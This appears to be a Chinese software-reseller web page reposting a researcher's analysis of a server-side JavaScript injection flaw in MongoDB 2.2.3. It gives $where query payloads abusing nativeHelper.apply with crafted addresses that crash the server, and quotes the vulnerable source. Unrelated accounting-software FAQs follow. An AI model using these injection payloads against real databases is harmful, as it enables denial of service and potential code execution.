用友软件首页

MongoDB服务器端的&#106avascript注入及修复方案

2016-1-14 0:0:0 wondial

MongoDB服务器端的javascript注入及修复方案

MongoDB服务器端的javascript注入及修复方案

安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞,并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey javascript的NativeHelper函数,导致可以注入代码或缓冲区溢出执行任意代码。

以下为研究者带来的一些分析。

首先在MongoDB中尝试一些服务器端的javascript注入,尝试运行一个shell。


> run("uname","-a")Sun Mar 25 07:09:49 shell: started programsh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux0

以下这个命令只能在mongo客户端才有效

 

> db.my_collection.find({
where:"run('ls')"})error: { "
err" : "error on invocation of
where function:\nJS Error: ReferenceError: run is not defined nofile_a:0", "code" : 10071}

研究者继续深入尝试

 

> runfunction () {    return nativeHelper.apply(run_, arguments);}

运行<run>函数,在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ,返回信息提示nativeHelper.apply方法存在。
 

> db.my_collection.find({
where:'nativeHelper.apply(run_, ["uname","-a"]);'})error: {"
err" : "error on invocation of
where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0","code" : 10071}

将一个关联数组用到服务器端
 

> db.my_collection.find({
where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})Sun Mar 25 07:15:26 DBClientCursor::init call() failedSun Mar 25 07:15:26 query failed : sthack.my_collection {
where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017Error: error doing query: failedSun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

结果显示:The server crashed \o/ ! (崩溃)

查看看一下其源代码

 

路径:./src/mongo/scripting/engine_spidermonkey.cpp


JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {        try {            Convertor c(cx);            NativeFunction func = reinterpret_cast(                    static_cast( c.getNumber( obj , "x" ) ) );            void* data = reinterpret_cast<void*>(                    static_cast( c.getNumber( obj , "y" ) ) );            verify( func );            BSONObj a;            if ( argc > 0 ) {                BSONObjBuilder args;                for ( uintN i = 0; i < argc; ++i ) {                    c.append( args , args.numStr( i ) , argv[i] );                }                a = args.obj();            }            BSONObj out;            try {                out = func( a, data );            }            catch ( std::exception& e ) {

原函数的功能会从”x” : 135246144调用至javascript对象不带任何检查。

 

> db.my_collection.find({
where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).

MongoDB已发布最新版本2.4.1修复了该漏洞,下载地址
 


如果您的问题还没有解决,可以到 T+搜索>>上找一下答案

分享到:

微博关注

bj用友软件

最新信息

T+的安装环境是什么?数据库可以是SQL2005吗?操作系统哪个版本最稳定?

T+的安装环境是什么?数据库可以是SQL2005吗?操作系统哪个版本最稳定? T+的安装环境是什么?数据库可以是SQL2005吗?操作系统哪个版本最稳定?[]

推荐的稳定环境是
2008R2 OS,
2008R2 SQL。
@畅捷支持侯椿寳:谢谢

U8.50增加会计科目时提示-共享-冲突

U8.50增加会计科目时提示-共享-冲突U8.50增加会计科目时提示"共享"冲突


U8.50-增加会计科目时提示"共享"冲突

自动编号:12683产品版本:U8.50
产品模块:总账所属行业: 通用
适用产品:85X关 键 字:共享冲突
问题名称:增加会计科目时提示"共享"冲突
问题现象:增加会计科目时提示"共享"冲突,之后形成站点锁定
原因分析:操作员从EXCEL表中复制会计科目编码到用友增加科目,把空格也粘贴过去了,造成科目编码出现非法字符
解决方案:去除空格即可

温馨提示:如果您的问题还没有解决,欢迎进入用友云基地

热点文章

新闻资讯

  • 【新年首签】天津用友&通广集团签署战略协议

    【新年首签】天津用友&通广集团签署战略协议

    天津用友软件技术有限公司(以下简称天津用友)和天津通信广播集团有限公司(以下简称通广集团)就企业信息化建设事宜进行战略签约。

    参加此次会议有天津用友总经理赵永春,天津用友副总经理王成岩、通广集团副总经理马严、通广集团科技质量部部长尹刚、七一二公司技术质量部部长门国梁、七一二公司技术中心主任黄建尧等。

    image

  • 会计职场堪比宫斗剧

    会计职场堪比宫斗剧

     近几年,各种宫斗剧火爆,《甄嬛传》《芈月传》等等都脍炙人口,许多人经常打趣自己像某个人物,若是在古代能活到第几集。让人不禁想起,会计职场又何尝不是一场宫斗,每天要察言观色,明了领导的内心,就像后宫谁也不敢惹皇后一样。但当你坐上领导位置的时候,盯着你的眼睛就会很多,稍有不慎就会被取代。就像后宫的嫔妃一样,就算坐上了皇后的位置也要时刻担心有没有人觊觎。

    image

知 识 库

  • 用友u8怎么导出报表

    用友u8怎么导出报表

    用友u8怎么导出报表

    一、用友软件中总账、明细账、科目汇总、日记账、科目余额表等输出EXCEL方法:

    用友软件设计了“输出”功能,当您进行账簿查询、报表查询等功能时,屏幕上方有一个“输出”按钮,选择后在弹出的对话框中,输入保存的文件名,在保存类型中选择“excel文件”,然后点击确定。这样您就可以得到一个从财务软件中输出的excel文件。

    二、批量导出:明细账中有“批量”按钮可以批量输出成excel

  • 用友u8怎么导出数据

    用友u8怎么导出数据

    用友u8怎么导出数据

    一、用友软件中总账、明细账、科目汇总、日记账、科目余额表等输出EXCEL方法:

    用友软件设计了“输出”功能,当您进行账簿查询、报表查询等功能时,屏幕上方有一个“输出”按钮,选择后在弹出的对话框中,输入保存的文件名,在保存类型中选择“excel文件”,然后点击确定。这样您就可以得到一个从财务软件中输出的excel文件。

    二、批量导出:明细账中有“批量”按钮可以批量输出成excel

  • 最新文章排行
  • 热门文章排行

管理软件

  • T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。

    T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。

    T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。 T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。[]

    备份好账套,这种情况只能强制删除了,请备份好账套之后,停止数据库服务和T3产品服务,自动备份服务;然后删除T3安装路径以及C盘下ufcomsql文件夹,然后使用360清除无用注册表,最后重启电脑即可;

  • 用友T3-用友通标准版录完期初后,总账系统和往来管理中往来科目期初余额不一致

    用友T3-用友通标准版录完期初后,总账系统和往来管理中往来科目期初余额不一致

    用友T3-用友通标准版录完期初后,总账系统和往来管理中往来科目期初余额不一致 用友T3-用友通标准版录完期初后,总账系统和往来管理中往来科目期初余额不一致

    用友T3-用友通应收账款在总账系统明细表中期初余额为10元,但在往来管理客户科目余额表中期初余额为110元.
    挂上往来辅助核算之后在总账期初余额里录入期初,后来发现录错了,接着就取消往来辅助核算,直接清空总账期初余额表面的金额(下图红色),却没有删除期初余额往来中的明细(下图蓝色)

关于我们 | 公司动态 | 获奖记录 | 联系我们 | 招聘信息 | 用友产品中心 | 用友云基地
Copyright ©  www.kuaiji66.com  All Rights Reserved 天龙瑞德
京ICP备11046295号-1 技术支持 北京天龙瑞德信息技术有限责任公司   北京海淀上地十街辉煌国际大厦3号楼6层 总机:010-59798025   售后:4009908488
北京天龙瑞德信息技术有限责任公司